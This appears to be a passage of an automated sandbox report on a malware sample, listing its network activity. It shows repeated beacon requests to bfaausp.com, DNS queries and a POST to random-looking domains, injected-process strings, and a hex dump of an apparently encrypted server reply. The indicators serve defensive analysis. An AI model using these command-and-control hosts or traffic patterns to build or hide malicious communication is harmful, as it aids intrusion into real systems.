Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: 76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)
Source: 76D5.exe, 00000007.00000002.4110024657.0000000002695000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4110437184.0000000002A12000.00000004.00000020.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4110684612.0000000002812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)
Source: csrss.exe, 0000001E.00000002.4110684612.0000000002812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: }www.yahoo.com equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: onualituyrs.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wyjwjdolomfsle.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: sumagulituyo.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 18 00 00 00 1f 3d 53 a8 37 66 30 7c 67 57 e9 d9 8c f4 ed 35 70 40 c7 45 89 0c 8a a1 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 8b 3e 6c 0d a7 1b 52 86 af 2f 77 aa 83 0a 43 00 39 77 0d e0 2f 81 e6 89 73 59 a7 7d 68 54 09 6d 9a 1d 31 84 ec ba e2 a7 40 9f 98 15 d4 f0 30 2a 63 2f 26 3c c7 4d 8c 99 39 6c 3d 53 47 c2 9e 39 be 29 8d 28 26 61 f2 3c 8d ce 02 b5 cf 78 62 e5 a5 c1 90 5c 2d ab ee 05 93 38 52 fe 4e 35 05 dc 44 49 ab a0 3f 72 54 62 f6 a4 60 d1 17 4b 2b 97 4b 52 9a 18 6b 6f 52 3a dc ee 4b ce a5 5c 42 10 ea f6 7a fe 3c b9 4c 8c 72 cf 3f 43 a1 b2 6f 0a 0a ca 4e 25 6f 4c 3a 3d b2 5c e8 84 fd bc 6d e2 dc a1 a7 f4 73 93 20 fc 0c 82 88 12 f7 a3 ef 06 14 ad 02 3a 46 8a 0d a9 07 fa 67 45 f6 23 fc 4b 2c be 78 bf 55 36 4c 3d f5 3c 42 3e 7d e8 28 7a 3a 34 d7 41 b4 90 2c a6 59 58 e5 62 09 eb 95 5a b7 ba c5 09 16 be 03 bb 2b 37 b1 3e a1 b3 1b c7 8b ef 77 04 77 3f 6c df 89 82 9b 28 97 e9 b0 ea 24 de c0 49 60 55 8c df 1a 73 e8 78 31 3e 8b 58 94 82 3e 37 59 63 c3 36 e3 3a 2f b3 b6 09 fb 7f f3 8f 1b fc 26 28 bc fd 33 3f 89 5e bf f1 0e 63 62 99 63 9d 20 36 fe f0 a2 86 2c 4b 78 f2 b4 2c d4 ce 13 c4 2d ca 95 3a d9 64 6d 54 b3 5c 76 2c 4e 89 f7 3d 58 4d f5 12 8b 75 0c f8 cd 2b 7d 30 c0 2b fe 21 2a 7f 15 6d 3f 16 9e 01 b5 69 eb 9d ed 8d ee 41 d5 45 24 19 4b 1f 52 f1 9d 79 17 9b a4 e5 ab ea fc 39 44 e6 f0 63 b3 34 62 01 f0 92 0e 5e fc fd 8a c8 9b 10 5f 47 d8 54 31 a2 2b c6 4d 36 cd 60 df d8 4f c5 44 25 78 20 ef 1b 08 ad 5d 35 d1 7a 05 c7 57 dd b3 46 91 4a 01 92 a0 31 f3 b6 5f 99 74 c0 c9 f3 12 b1 02 66 86 b1 ad f1 8b 14 d9 ea 1a 24 e9 4e d1 15 f3 a9 1c c4 16 d5 e6 00 a7 09 17 b6 de 40 6b c3 fd cf f3 3b 5b 4a 76 fb 4d fa 6a d1 2c c1 e0 7e 1b 2b c0 11 6e b8 9d 9a fa 03 03 c5 6c 91 63 12 49 53 b1 0f 30 36 77 1f f7 e6 87 ad 05 de 93 db fc 4e f1 69 be e5 e3 9e e3 56 da ef ef 8a c8 40 39 ae 15 4f ce b3 12 7c 8e 6a 18 41 66 35 99 7e 83 84 08 cd ee cf cd 9b da 0d 58 73 6c 8a 96 03 37 fa 43 43 fe a8 50 75 48 e9 60 17 4c aa 25 df a1 a9 6a b9 d6 d6 a4 62 e8 a9 b7 76 79 f1 50 93 7c 2c e6 d0 49 56 e1 d6 47 59 19 7d 27 84 22 66 13 de 9e 1f a0 7c 85 2b dc ef 24 3b 92 33 8d a6 52 d2 8e 29 80 d0 f3 4f b5 e2 72 22 4d 9a 70 ea 84 bd 7e 69 94 5b c4 f6 01 42 7c ee a7 84 cd 7a 58 39 62 79 cf f7 6f e9 d6 eb 85 59 0e 75 06 d1 04 8d d7 af 40 60 76 57 c4 2d 70 c6 b0 57 ad 50 f1 57 80 a0 a2 04 10 a1 2f 49 6d 26 b4 91 24 df 14 8f b6 65 b1 49 70 9f 31 03 96 8c 54 0a 5b 2c 95 a1 8e bd 1f f3 f5 56 7e 79 48 59 a9 3d 78 ed 6f 4f 33 13 20 7a ad f0 83 08 17 2f f1 27 a6 d0 f2 c0 9d 2a 19 c8 4b 73 42 fb 6d 8e 46 46 5e 76 11 29 3e c1 4b 58 80 22 17 75 a5 9a cb a2 29 73 76 ff 45 a7 3e 33 23 bd eb 32 16 b9 e2 67 6e f1 5c 47 79 b8 5a de 69 7e 2e bf 3c 4d bb fb 2a 1b c5 0c e4 c6 60 15 56 38 18 d5 f9 83 7f a0 63 2f d2 f0 46 65 73 fe 74 89 c7 8b 39 3e db 7d 26 f1 9c 20 e5 d4 19 85 0e 0c 22 4b 08 f
